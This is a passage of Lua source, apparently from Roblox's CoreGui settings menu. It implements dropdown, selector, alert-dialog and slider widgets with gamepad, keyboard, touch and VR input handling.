10, Parent = DropDownSelectionFrame }; local guiServiceChangeCon = nil local active = false local hideDropDownSelection = function(name, inputState) if name ~= nil and inputState ~= Enum.UserInputState.Begin then return end this.DropDownFrame.Selectable = interactable --Make sure to set the hub to Active again so selecting the --dropdown button will highlight it settingsHub:SetActive(true) if DropDownFullscreenFrame.Visible and usesSelectedObject() then GuiService.SelectedCoreObject = lastSelectedCoreObject end DropDownFullscreenFrame.Visible = false if guiServiceChangeCon then guiServiceChangeCon:Disconnect() end ContextActionService:UnbindAction(guid .. "Action") ContextActionService:UnbindAction(guid .. "FreezeAction") dropDownButtonEnabled.Value = interactable active = false if VRService.VREnabled then local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D) Panel3D.Get("SettingsMenu"):SetSubpanelDepth(DropDownFullscreenFrame, 0) end end local noOpFunc = function() end local DropDownFrameClicked = function() if not interactable then return end this.DropDownFrame.Selectable = false active = true DropDownFullscreenFrame.Visible = true if VRService.VREnabled then local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D) Panel3D.Get("SettingsMenu"):SetSubpanelDepth(DropDownFullscreenFrame, 0.5) end lastSelectedCoreObject = this.DropDownFrame if this.CurrentIndex and this.CurrentIndex > 0 then GuiService.SelectedCoreObject = this.Selections[this.CurrentIndex] end guiServiceChangeCon = GuiService:GetPropertyChangedSignal("SelectedCoreObject"):Connect(function() for i = 1, #this.Selections do if GuiService.SelectedCoreObject == this.Selections[i] then this.Selections[i].TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED else this.Selections[i].TextColor3 = VRService.VREnabled and SELECTION_TEXT_COLOR_NORMAL_VR or SELECTION_TEXT_COLOR_NORMAL end end end) ContextActionService:BindActionAtPriority(guid .. "FreezeAction", noOpFunc, false, Enum.ContextActionPriority.High.Value, Enum.UserInputType.Keyboard, Enum.UserInputType.Gamepad1) ContextActionService:BindActionAtPriority(guid .. "Action", hideDropDownSelection, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.ButtonB, Enum.KeyCode.Escape) settingsHub:SetActive(false) dropDownButtonEnabled.Value = false end local dropDownFrameSize = UDim2.new(0.6, 0, 0, 50) this.DropDownFrame = MakeButton("DropDownFrame", DEFAULT_DROPDOWN_TEXT, dropDownFrameSize, DropDownFrameClicked, nil, settingsHub) this.DropDownFrame.Position = UDim2.new(1, 0, 0.5, 0) this.DropDownFrame.AnchorPoint = Vector2.new(1, 0.5) dropDownButtonEnabled = this.DropDownFrame.Enabled local selectedTextLabel = this.DropDownFrame.DropDownFrameTextLabel selectedTextLabel.Position = UDim2.new(0, 15, 0, 0) selectedTextLabel.Size = UDim2.new(1, -50, 1, -8) selectedTextLabel.ClipsDescendants = true selectedTextLabel.TextXAlignment = Enum.TextXAlignment.Left local dropDownImage = Util.Create'ImageLabel' { Name = "DropDownImage", Image = "rbxasset://textures/ui/Settings/DropDown/DropDown.png", BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0.5), Size = UDim2.new(0,15,0,10), Position = UDim2.new(1,-12,0.5,0), ZIndex = 2, Parent = this.DropDownFrame }; this.DropDownImage = dropDownImage ---------------------- FUNCTIONS ----------------------------------- local function setSelection(index) local shouldFireChanged = false for i, selectionLabel in pairs(this.Selections) do if i == index then selectedTextLabel.Text = selectionLabel.Text this.CurrentIndex = i shouldFireChanged = true end end if shouldFireChanged then indexChangedEvent:Fire(index) end end local function setSelectionByValue(value) local shouldFireChanged = false for i, selectionLabel in pairs(this.Selections) do if selectionLabel.Text == value then selectedTextLabel.Text = selectionLabel.Text this.CurrentIndex = i shouldFireChanged = true end end if shouldFireChanged then indexChangedEvent:Fire(this.CurrentIndex) end return shouldFireChanged end local enterIsDown = false local function processInput(input) if input.UserInputState == Enum.UserInputState.Begin then if input.KeyCode == Enum.KeyCode.Return then if GuiService.SelectedCoreObject == this.DropDownFrame or this.SelectionInfo and this.SelectionInfo[GuiService.SelectedCoreObject] then enterIsDown = true end end elseif input.UserInputState == Enum.UserInputState.End then if input.KeyCode == Enum.KeyCode.Return and enterIsDown then enterIsDown = false if GuiService.SelectedCoreObject == this.DropDownFrame then DropDownFrameClicked() elseif this.SelectionInfo and this.SelectionInfo[GuiService.SelectedCoreObject] then local info = this.SelectionInfo[GuiService.SelectedCoreObject] info.Clicked() end end end end local function setIsFaded(isFaded) if isFaded then this.DropDownFrame.DropDownFrameTextLabel.TextTransparency = 0.5 this.DropDownFrame.ImageTransparency = 0.5 this.DropDownImage.ImageTransparency = 0.5 else this.DropDownFrame.DropDownFrameTextLabel.TextTransparency = 0 this.DropDownFrame.ImageTransparency = 0 this.DropDownImage.ImageTransparency = 0 end end --------------------- PUBLIC FACING FUNCTIONS ----------------------- this.IndexChanged = indexChangedEvent.Event function this:SetSelectionIndex(newIndex) setSelection(newIndex) end function this:SetSelectionByValue(value) return setSelectionByValue(value) end function this:ResetSelectionIndex() this.CurrentIndex = nil selectedTextLabel.Text = DEFAULT_DROPDOWN_TEXT hideDropDownSelection() end function this:GetSelectedIndex() return this.CurrentIndex end function this:SetZIndex(newZIndex) this.DropDownFrame.ZIndex = newZIndex dropDownImage.ZIndex = newZIndex selectedTextLabel.ZIndex = newZIndex end function this:SetInteractable(value) interactable = value this.DropDownFrame.Selectable = interactable if not interactable then hideDropDownSelection() setIsFaded(VRService.VREnabled) if not VRService.VREnabled then this:SetZIndex(1) end else setIsFaded(false) if not VRService.VREnabled then this:SetZIndex(2) end end dropDownButtonEnabled.Value = value and not active end function this:UpdateDropDownList(dropDownStringTable) lastStringTable = dropDownStringTable if this.Selections then for i = 1, #this.Selections do this.Selections[i]:Destroy() end end this.Selections = {} this.SelectionInfo = {} local vrEnabled = VRService.VREnabled local font = vrEnabled and Enum.Font.SourceSansBold or Enum.Font.SourceSans local textSize = vrEnabled and 36 or 24 local itemHeight = vrEnabled and 70 or 50 local itemSpacing = itemHeight + 1 local dropDownWidth = vrEnabled and 600 or 400 for i,v in pairs(dropDownStringTable) do local SelectionOverrideObject = Util.Create'Frame' { BackgroundTransparency = 0.7, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0) }; local nextSelection = Util.Create'TextButton' { Name = "Selection" .. tostring(i), BackgroundTransparency = 1, BorderSizePixel = 0, AutoButtonColor = false, Size = UDim2.new(1, -28, 0, itemHeight), Position = UDim2.new(0,14,0, (i - 1) * itemSpacing), TextColor3 = VRService.VREnabled and SELECTION_TEXT_COLOR_NORMAL_VR or SELECTION_TEXT_COLOR_NORMAL, Font = font, TextSize = textSize, Text = v, ZIndex = 10, SelectionImageObject = SelectionOverrideObject, Parent = DropDownScrollingFrame }; if i == startPosition then this.CurrentIndex = i selectedTextLabel.Text = v nextSelection.TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED elseif not startPosition and i == 1 then nextSelection.TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED end local clicked = function() selectedTextLabel.Text = nextSelection.Text hideDropDownSelection() this.CurrentIndex = i indexChangedEvent:Fire(i) end nextSelection.MouseButton1Click:Connect(clicked) nextSelection.MouseEnter:Connect(function() if usesSelectedObject() then GuiService.SelectedCoreObject = nextSelection end end) this.Selections[i] = nextSelection this.SelectionInfo[nextSelection] = {Clicked = clicked} end GuiService:RemoveSelectionGroup(guid) GuiService:AddSelectionTuple(guid, unpack(this.Selections)) DropDownScrollingFrame.CanvasSize = UDim2.new(1,-20,0,#dropDownStringTable * itemSpacing) local function updateDropDownSize() if DropDownScrollingFrame.CanvasSize.Y.Offset < (DropDownFullscreenFrame.AbsoluteSize.Y - 10) then DropDownSelectionFrame.Size = UDim2.new(0, dropDownWidth, 0,DropDownScrollingFrame.CanvasSize.Y.Offset + SCROLLING_FRAME_PIXEL_OFFSET) else DropDownSelectionFrame.Size = UDim2.new(0, dropDownWidth, 0.9, 0) end end DropDownFullscreenFrame.Changed:Connect(function(prop) if prop ~= "AbsoluteSize" then return end updateDropDownSize() end) updateDropDownSize() end ----------------------- CONNECTIONS/SETUP -------------------------------- this:UpdateDropDownList(dropDownStringTable) DropDownFullscreenFrame.MouseButton1Click:Connect(hideDropDownSelection) settingsHub.PoppedMenu:Connect(function(poppedMenu) if poppedMenu == DropDownFullscreenFrame then hideDropDownSelection() end end) return this end local function CreateSelector(selectionStringTable, startPosition) -------------------- VARIABLES ------------------------ local lastInputDirection = 0 local TweenTime = 0.15 -------------------- SETUP ------------------------ local this = {} this.HubRef = nil if type(selectionStringTable) ~= "table" then error("CreateSelector selectionStringTable (first arg) is not a table", 2) return this end local indexChangedEvent = Instance.new("BindableEvent") indexChangedEvent.Name = "IndexChanged" local interactable = true this.CurrentIndex = 0 ----------------- GUI SETUP ------------------------ this.SelectorFrame = Util.Create'ImageButton' { Name = "Selector", Image = "", AutoButtonColor = false, NextSelectionLeft = this.SelectorFrame, NextSelectionRight = this.SelectorFrame, BackgroundTransparency = 1, Size = UDim2.new(0.6,0,0,50), Position = UDim2.new(1, 0, 0.5, 0), AnchorPoint = Vector2.new(1, 0.5), ZIndex = 2, SelectionImageObject = noSelectionObject }; local leftButton = Util.Create'ImageButton' { Name = "LeftButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0, 0.5), Position = UDim2.new(0,0,0.5,0), Size = UDim2.new(0,50,0,50), Image = "", ZIndex = 3, Selectable = false, SelectionImageObject = noSelectionObject, Parent = this.SelectorFrame }; local rightButton = Util.Create'ImageButton' { Name = "RightButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0.5), Position = UDim2.new(1,0,0.5,0), Size = UDim2.new(0,50,0,50), Image = "", ZIndex = 3, Selectable = false, SelectionImageObject = noSelectionObject, Parent = this.SelectorFrame }; local leftButtonImage = Util.Create'ImageLabel' { Name = "LeftButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.new(0.5,0,0.5,0), Size = UDim2.new(0,18,0,30), Image = "rbxasset://textures/ui/Settings/Slider/Left.png", ImageColor3 = ARROW_COLOR, ZIndex = 4, Parent = leftButton }; local rightButtonImage = Util.Create'ImageLabel' { Name = "RightButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.new(0.5,0,0.5,0), Size = UDim2.new(0,18,0,30), Image = "rbxasset://textures/ui/Settings/Slider/Right.png", ImageColor3 = ARROW_COLOR, ZIndex = 4, Parent = rightButton }; if not UserInputService.TouchEnabled then local applyNormal, applyHover = function(instance) instance.ImageColor3 = ARROW_COLOR end, function(instance) instance.ImageColor3 = ARROW_COLOR_HOVER end addHoverState(leftButton, leftButtonImage, applyNormal, applyHover) addHoverState(rightButton, rightButtonImage, applyNormal, applyHover) end this.Selections = {} local isSelectionLabelVisible = {} local isAutoSelectButton = {} local autoSelectButton = Util.Create'ImageButton'{ Name = 'AutoSelectButton', BackgroundTransparency = 1, Image = '', Position = UDim2.new(0, leftButton.Size.X.Offset, 0, 0), Size = UDim2.new(1, leftButton.Size.X.Offset * -2, 1, 0), Parent = this.SelectorFrame, ZIndex = 2, SelectionImageObject = noSelectionObject } autoSelectButton.MouseButton1Click:Connect(function() if not interactable then return end if #this.Selections <= 1 then return end local newIndex = this.CurrentIndex + 1 if newIndex > #this.Selections then newIndex = 1 end this:SetSelectionIndex(newIndex) if usesSelectedObject() then GuiService.SelectedCoreObject = this.SelectorFrame end end) isAutoSelectButton[autoSelectButton] = true ---------------------- FUNCTIONS ----------------------------------- local function setSelection(index, direction) for i, selectionLabel in pairs(this.Selections) do local isSelected = (i == index) local leftButtonUDim = UDim2.new(0,leftButton.Size.X.Offset,0,0) local tweenPos = UDim2.new(0,leftButton.Size.X.Offset * direction * 3,0,0) if isSelectionLabelVisible[selectionLabel] then tweenPos = UDim2.new(0,leftButton.Size.X.Offset * -direction * 3,0,0) end if tweenPos.X.Offset < 0 then tweenPos = UDim2.new(0,tweenPos.X.Offset + (selectionLabel.AbsoluteSize.X/4),0,0) end if isSelected then isSelectionLabelVisible[selectionLabel] = true selectionLabel.Position = tweenPos selectionLabel.Visible = true PropertyTweener(selectionLabel, "TextTransparency", 1, 0, TweenTime * 1.1, EaseOutQuad) if selectionLabel:IsDescendantOf(game) then selectionLabel:TweenPosition(leftButtonUDim, Enum.EasingDirection.In, Enum.EasingStyle.Quad, TweenTime, true) else selectionLabel.Position = leftButtonUDim end this.CurrentIndex = i indexChangedEvent:Fire(index) elseif isSelectionLabelVisible[selectionLabel] then isSelectionLabelVisible[selectionLabel] = false PropertyTweener(selectionLabel, "TextTransparency", 0, 1, TweenTime * 1.1, EaseOutQuad) if selectionLabel:IsDescendantOf(game) then selectionLabel:TweenPosition(tweenPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, TweenTime * 0.9, true) else selectionLabel.Position = UDim2.new(tweenPos) end end end end local function stepFunc(inputObject, step) if not interactable then return end if inputObject ~= nil and inputObject.UserInputType ~= Enum.UserInputType.MouseButton1 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad2 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad3 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad4 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end if usesSelectedObject() then GuiService.SelectedCoreObject = this.SelectorFrame end local newIndex = step + this.CurrentIndex local direction = 0 if newIndex > this.CurrentIndex then direction = 1 else direction = -1 end if newIndex > #this.Selections then newIndex = 1 elseif newIndex < 1 then newIndex = #this.Selections end setSelection(newIndex, direction) end local guiServiceCon = nil local function connectToGuiService() guiServiceCon = GuiService:GetPropertyChangedSignal("SelectedCoreObject"):Connect(function() if #this.Selections <= 0 then return end if GuiService.SelectedCoreObject == this.SelectorFrame then this.Selections[this.CurrentIndex].TextTransparency = 0 else if GuiService.SelectedCoreObject ~= nil and isAutoSelectButton[GuiService.SelectedCoreObject] then if VRService.VREnabled then this.Selections[this.CurrentIndex].TextTransparency = 0 else GuiService.SelectedCoreObject = this.SelectorFrame end else this.Selections[this.CurrentIndex].TextTransparency = 0.5 end end end) end --------------------- PUBLIC FACING FUNCTIONS ----------------------- this.IndexChanged = indexChangedEvent.Event function this:SetSelectionIndex(newIndex) setSelection(newIndex, 1) end function this:GetSelectedIndex() return this.CurrentIndex end function this:SetZIndex(newZIndex) leftButton.ZIndex = newZIndex rightButton.ZIndex = newZIndex leftButtonImage.ZIndex = newZIndex rightButtonImage.ZIndex = newZIndex for i = 1, #this.Selections do this.Selections[i].ZIndex = newZIndex end end function this:SetInteractable(value) interactable = value this.SelectorFrame.Selectable = interactable leftButton.Active = interactable rightButton.Active = interactable if not interactable then for i, selectionLabel in pairs(this.Selections) do selectionLabel.TextColor3 = Color3.fromRGB(49, 49, 49) end leftButtonImage.ImageColor3 = ARROW_COLOR_INACTIVE rightButtonImage.ImageColor3 = ARROW_COLOR_INACTIVE else for i, selectionLabel in pairs(this.Selections) do selectionLabel.TextColor3 = Color3.fromRGB(255, 255, 255) end leftButtonImage.ImageColor3 = ARROW_COLOR rightButtonImage.ImageColor3 = ARROW_COLOR end end function this:UpdateOptions(selectionStringTable) for i,v in pairs(this.Selections) do v:Destroy() end isSelectionLabelVisible = {} this.Selections = {} for i,v in pairs(selectionStringTable) do local nextSelection = Util.Create'TextLabel' { Name = "Selection" .. tostring(i), BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1,leftButton.Size.X.Offset * -2, 1, 0), Position = UDim2.new(1,0,0,0), TextColor3 = Color3.fromRGB(255, 255, 255), TextYAlignment = Enum.TextYAlignment.Center, TextTransparency = 0.5, Font = Enum.Font.SourceSans, TextSize = 24, Text = v, ZIndex = 2, Visible = false, Parent = this.SelectorFrame }; if isTenFootInterface() then nextSelection.TextSize = 36 end if i == startPosition then this.CurrentIndex = i nextSelection.Position = UDim2.new(0,leftButton.Size.X.Offset,0,0) nextSelection.Visible = true isSelectionLabelVisible[nextSelection] = true else isSelectionLabelVisible[nextSelection] = false end this.Selections[i] = nextSelection end local hasMoreThanOneSelection = #this.Selections > 1 leftButton.Visible = hasMoreThanOneSelection rightButton.Visible = hasMoreThanOneSelection end --------------------- SETUP ----------------------- local function onVREnabled(prop) if prop ~= "VREnabled" then return end local vrEnabled = VRService.VREnabled leftButton.Selectable = vrEnabled rightButton.Selectable = vrEnabled autoSelectButton.Selectable = vrEnabled end VRService.Changed:Connect(onVREnabled) onVREnabled("VREnabled") leftButton.InputBegan:Connect(function(inputObject) if inputObject.UserInputType == Enum.UserInputType.Touch then stepFunc(nil, -1) end end) leftButton.MouseButton1Click:Connect(function() if not UserInputService.TouchEnabled then stepFunc(nil, -1) end end) rightButton.InputBegan:Connect(function(inputObject) if inputObject.UserInputType == Enum.UserInputType.Touch then stepFunc(nil, 1) end end) rightButton.MouseButton1Click:Connect(function() if not UserInputService.TouchEnabled then stepFunc(nil, 1) end end) local isInTree = true this:UpdateOptions(selectionStringTable) UserInputService.InputBegan:Connect(function(inputObject) if not interactable then return end if not isInTree then return end if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end if GuiService.SelectedCoreObject ~= this.SelectorFrame then return end if inputObject.KeyCode == Enum.KeyCode.DPadLeft or inputObject.KeyCode == Enum.KeyCode.Left or inputObject.KeyCode == Enum.KeyCode.A then stepFunc(inputObject, -1) elseif inputObject.KeyCode == Enum.KeyCode.DPadRight or inputObject.KeyCode == Enum.KeyCode.Right or inputObject.KeyCode == Enum.KeyCode.D then stepFunc(inputObject, 1) end end) UserInputService.InputChanged:Connect(function(inputObject) if not interactable then return end if not isInTree then lastInputDirection = 0 return end if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SelectorFrame.Parent) then return end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if inputObject.Position.X > CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X > 0 and lastInputDirection ~= 1 then lastInputDirection = 1 stepFunc(inputObject, lastInputDirection) elseif inputObject.Position.X < -CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X < 0 and lastInputDirection ~= -1 then lastInputDirection = -1 stepFunc(inputObject, lastInputDirection) elseif math.abs(inputObject.Position.X) < CONTROLLER_THUMBSTICK_DEADZONE then lastInputDirection = 0 end end) this.SelectorFrame.AncestryChanged:Connect(function(child, parent) isInTree = parent if not isInTree then if guiServiceCon then guiServiceCon:Disconnect() end else connectToGuiService() end end) local function onResized(viewportSize, portrait) local textSize = 0 if portrait then textSize = 16 else textSize = isTenFootInterface() and 36 or 24 end for i, selection in pairs(this.Selections) do selection.TextSize = textSize end end addOnResizedCallback(this.SelectorFrame, onResized) connectToGuiService() return this end local function ShowAlert(alertMessage, okButtonText, settingsHub, okPressedFunc, hasBackground) local parent = CoreGui.RobloxGui if parent:FindFirstChild("AlertViewFullScreen") then return end --Declare AlertViewBacking so onVREnabled can take it as an upvalue local AlertViewBacking = nil --Handle VR toggle while alert is open --Future consideration: maybe rebuild gui when VR toggles mid-game; right now only subpaneling is handled rather than visual style local function onVREnabled(prop) if prop ~= "VREnabled" then return end local Panel3D, settingsPanel = nil, nil if VRService.VREnabled then Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D) settingsPanel = Panel3D.Get("SettingsMenu") parent = settingsPanel:GetGUI() else parent = CoreGui.RobloxGui end if AlertViewBacking and AlertViewBacking.Parent ~= nil then AlertViewBacking.Parent = parent if VRService.VREnabled then settingsPanel:SetSubpanelDepth(AlertViewBacking, 0.5) end end end local vrEnabledConn = VRService.Changed:Connect(onVREnabled) local NON_SELECTED_TEXT_COLOR = Color3.fromRGB(59, 166, 241) local SELECTED_TEXT_COLOR = Color3.fromRGB(255, 255, 255) AlertViewBacking = Util.Create'ImageLabel' { Name = "AlertViewBacking", Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png", ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(8,6,46,44), BackgroundTransparency = 1, ImageTransparency = 1, Size = UDim2.new(0, 400, 0, 350), Position = UDim2.new(0.5, -200, 0.5, -175), ZIndex = 9, Parent = parent }; onVREnabled("VREnabled") if hasBackground or VRService.VREnabled then AlertViewBacking.ImageTransparency = 0 else AlertViewBacking.Size = UDim2.new(0.8, 0, 0, 350) AlertViewBacking.Position = UDim2.new(0.1, 0, 0.1, 0) end if CoreGui.RobloxGui.AbsoluteSize.Y <= AlertViewBacking.Size.Y.Offset then AlertViewBacking.Size = UDim2.new(AlertViewBacking.Size.X.Scale, AlertViewBacking.Size.X.Offset, AlertViewBacking.Size.Y.Scale, CoreGui.RobloxGui.AbsoluteSize.Y) AlertViewBacking.Position = UDim2.new(AlertViewBacking.Position.X.Scale, -AlertViewBacking.Size.X.Offset/2, 0.5, -AlertViewBacking.Size.Y.Offset/2) end local AlertViewText = Util.Create'TextLabel' { Name = "AlertViewText", BackgroundTransparency = 1, Size = UDim2.new(0.95, 0, 0.6, 0), Position = UDim2.new(0.025, 0, 0.05, 0), Font = Enum.Font.SourceSansBold, TextSize = 36, Text = alertMessage, TextWrapped = true, TextColor3 = Color3.fromRGB(255, 255, 255), TextXAlignment = Enum.TextXAlignment.Center, TextYAlignment = Enum.TextYAlignment.Center, ZIndex = 10, Parent = AlertViewBacking }; local SelectionOverrideObject = Util.Create'ImageLabel' { Image = "", BackgroundTransparency = 1 }; local removeId = HttpService:GenerateGUID(false) local destroyAlert = function(actionName, inputState) if VRService.VREnabled and (inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel) then return end if not AlertViewBacking then return end if VRService.VREnabled then local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D) Panel3D.Get("SettingsMenu"):SetSubpanelDepth(AlertViewBacking, 0) end AlertViewBacking:Destroy() AlertViewBacking = nil if okPressedFunc then okPressedFunc() end ContextActionService:UnbindAction(removeId) GuiService.SelectedCoreObject = nil if settingsHub then settingsHub:ShowBar() end if vrEnabledConn then vrEnabledConn:Disconnect() end end local AlertViewButtonSize = UDim2.new(1, -20, 0, 60) local AlertViewButtonPosition = UDim2.new(0, 10, 0.65, 0) if not hasBackground then AlertViewButtonSize = UDim2.new(0, 200, 0, 50) AlertViewButtonPosition = UDim2.new(0.5, -100, 0.65, 0) end local AlertViewButton, AlertViewText = MakeButton("AlertViewButton", okButtonText, AlertViewButtonSize, destroyAlert) AlertViewButton.Position = AlertViewButtonPosition AlertViewButton.NextSelectionLeft = AlertViewButton AlertViewButton.NextSelectionRight = AlertViewButton AlertViewButton.NextSelectionUp = AlertViewButton AlertViewButton.NextSelectionDown = AlertViewButton AlertViewButton.ZIndex = 9 AlertViewText.ZIndex = AlertViewButton.ZIndex AlertViewButton.Parent = AlertViewBacking if usesSelectedObject() then GuiService.SelectedCoreObject = AlertViewButton end GuiService.SelectedCoreObject = AlertViewButton ContextActionService:BindActionAtPriority(removeId, destroyAlert, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.Escape, Enum.KeyCode.ButtonB, Enum.KeyCode.ButtonA) if settingsHub and not VRService.VREnabled then settingsHub:HideBar() settingsHub.Pages.CurrentPage:Hide(1, 1) end end local function CreateNewSlider(numOfSteps, startStep, minStep) -------------------- SETUP ------------------------ local this = {} local spacing = 4 local initialSpacing = 8 local steps = tonumber(numOfSteps) local currentStep = startStep local lastInputDirection = 0 local timeAtLastInput = nil local interactable = true local renderStepBindName = HttpService:GenerateGUID(false) -- this is done to prevent using these values below (trying to keep the variables consistent) numOfSteps = "" startStep = "" if steps <= 0 then error("CreateNewSlider failed because numOfSteps (first arg) is 0 or negative, please supply a positive integer", 2) return end local valueChangedEvent = Instance.new("BindableEvent") valueChangedEvent.Name = "ValueChanged" ----------------- GUI SETUP ------------------------ this.SliderFrame = Util.Create'ImageButton' { Name = "Slider", Image = "", AutoButtonColor = false, NextSelectionLeft = this.SliderFrame, NextSelectionRight = this.SliderFrame, BackgroundTransparency = 1, Size = UDim2.new(0.6, 0, 0, 50), Position = UDim2.new(1, 0, 0.5, 0), AnchorPoint = Vector2.new(1, 0.5), SelectionImageObject = noSelectionObject, ZIndex = 2 }; this.StepsContainer = Util.Create "Frame" { Name = "StepsContainer", Position = UDim2.new(0.5, 0, 0.5, 0), Size = UDim2.new(1, -100, 1, 0), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, Parent = this.SliderFrame, } local leftButton = Util.Create'ImageButton' { Name = "LeftButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0, 0.5), Position = UDim2.new(0,0,0.5,0), Size = UDim2.new(0,50,0,50), Image = "", ZIndex = 3, Selectable = false, SelectionImageObject = noSelectionObject, Active = true, Parent = this.SliderFrame }; local rightButton = Util.Create'ImageButton' { Name = "RightButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0.5), Position = UDim2.new(1,0,0.5,0), Size = UDim2.new(0,50,0,50), Image = "", ZIndex = 3, Selectable = false, SelectionImageObject = noSelectionObject, Active = true, Parent = this.SliderFrame }; local leftButtonImage = Util.Create'ImageLabel' { Name = "LeftButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.new(0.5,0,0.5,0), Size = UDim2.new(0,30,0,30), Image = "rbxasset://textures/ui/Settings/Slider/Less.png", ZIndex = 4, Parent = leftButton, ImageColor3 = UserInputService.TouchEnabled and ARROW_COLOR_TOUCH or ARROW_COLOR }; local rightButtonImage = Util.Create'ImageLabel' { Name = "RightButton", BackgroundTransparency = 1, AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.new(0.5,0,0.5,0), Size = UDim2.new(0,30,0,30), Image = "rbxasset://textures/ui/Settings/Slider/More.png", ZIndex = 4, Parent = rightButton, ImageColor3 = UserInputService.TouchEnabled and ARROW_COLOR_TOUCH or ARROW_COLOR }; if not UserInputService.TouchEnabled then local onNormalButtonState, onHoverButtonState = function(instance) instance.ImageColor3 = ARROW_COLOR end, function(instance) instance.ImageColor3 = ARROW_COLOR_HOVER end addHoverState(leftButton, leftButtonImage, onNormalButtonState, onHoverButtonState) addHoverState(rightButton, rightButtonImage, onNormalButtonState, onHoverButtonState) end this.Steps = {} local stepXSize = 35 if isSmallTouchScreen() then stepXSize = 25 end local stepXScale = 1 / steps stepXSize = 0 for i = 1, steps do local nextStep = Util.Create'ImageButton' { Name = "Step" .. tostring(i), BackgroundColor3 = SELECTED_COLOR, BackgroundTransparency = 0.36, BorderSizePixel = 0, AutoButtonColor = false, Active = false, AnchorPoint = Vector2.new(0, 0.5), Position = UDim2.new((i - 1) * stepXScale, spacing / 2, 0.5, 0), Size = UDim2.new(stepXScale,-spacing, 24 / 50, 0), Image = "", ZIndex = 3, Selectable = false, ImageTransparency = 0.36, Parent = this.StepsContainer, SelectionImageObject = noSelectionObject }; if i > currentStep then nextStep.BackgroundColor3 = NON_SELECTED_COLOR end if i == 1 or i == steps then nextStep.BackgroundTransparency = 1 nextStep.ScaleType = Enum.ScaleType.Slice nextStep.SliceCenter = Rect.new(3,3,32,21) if i <= currentStep then if i == 1 then nextStep.Image = SELECTED_LEFT_IMAGE else nextStep.Image = SELECTED_RIGHT_IMAGE end else if i == 1 then nextStep.Image = NON_SELECTED_LEFT_IMAGE else nextStep.Image = NON_SELECTED_RIGHT_IMAGE end end end this.Steps[#this.Steps + 1] = nextStep end ------------------- FUNCTIONS --------------------- local function hideSelection() for i = 1, steps do this.Steps[i].BackgroundColor3 = NON_SELECTED_COLOR if i == 1 then this.Steps[i].Image = NON_SELECTED_LEFT_IMAGE elseif i == steps then this.Steps[i].Image = NON_SELECTED_RIGHT_IMAGE end end end local function showSelection() for i = 1, steps do if i > currentStep then break end this.Steps[i].BackgroundColor3 = SELECTED_COLOR if i == 1 then this.Steps[i].Image = SELECTED_LEFT_IMAGE elseif i == steps then this.Steps[i].Image = SELECTED_RIGHT_IMAGE end end end local function modifySelection(alpha) for i = 1, steps do if i == 1 or i == steps then this.Steps[i].ImageTransparency = alpha else this.Steps[i].BackgroundTransparency = alpha end end end local function setCurrentStep(newStepPosition) if not minStep then minStep = 0 end leftButton.Visible = true rightButton.Visible = true if newStepPosition <= minStep then newStepPosition = minStep leftButton.Visible = false end if newStepPosition >= steps then newStepPosition = steps rightButton.Visible = false end if currentStep == newStepPosition then return end currentStep = newStepPosition hideSelection() showSelection() timeAtLastInput = tick() valueChangedEvent:Fire(currentStep) end local function isActivateEvent(inputObject) if not inputObject then return false end return inputObject.UserInputType == Enum.UserInputType.MouseButton1 or inputObject.UserInputType == Enum.UserInputType.Touch or (inputObject.UserInputType == Enum.UserInputType.Gamepad1 and inputObject.KeyCode == Enum.KeyCode.ButtonA) end local function mouseDownFunc(inputObject, newStepPos, repeatAction) if not interactable then return end if inputObject == nil then return end if not isActivateEvent(inputObject) then return end if usesSelectedObject() and not VRService.VREnabled then GuiService.SelectedCoreObject = this.SliderFrame end if not VRService.VREnabled then if repeatAction then lastInputDirection = newStepPos - currentStep else lastInputDirection = 0 local mouseInputMovedCon = nil local mouseInputEndedCon = nil mouseInputMovedCon = UserInputService.InputChanged:Connect(function(inputObject) if inputObject.UserInputType ~= Enum.UserInputType.MouseMovement then return end local mousePos = inputObject.Position.X for i = 1, steps do local stepPosition = this.Steps[i].AbsolutePosition.X local stepSize = this.Steps[i].AbsoluteSize.X if mousePos >= stepPosition and mousePos <= stepPosition + stepSize then setCurrentStep(i) break elseif i == 1 and mousePos < stepPosition then setCurrentStep(0) break elseif i == steps and mousePos >= stepPosition then setCurrentStep(i) break end end end) mouseInputEndedCon = UserInputService.InputEnded:Connect(function(inputObject) if not isActivateEvent(inputObject) then return end lastInputDirection = 0 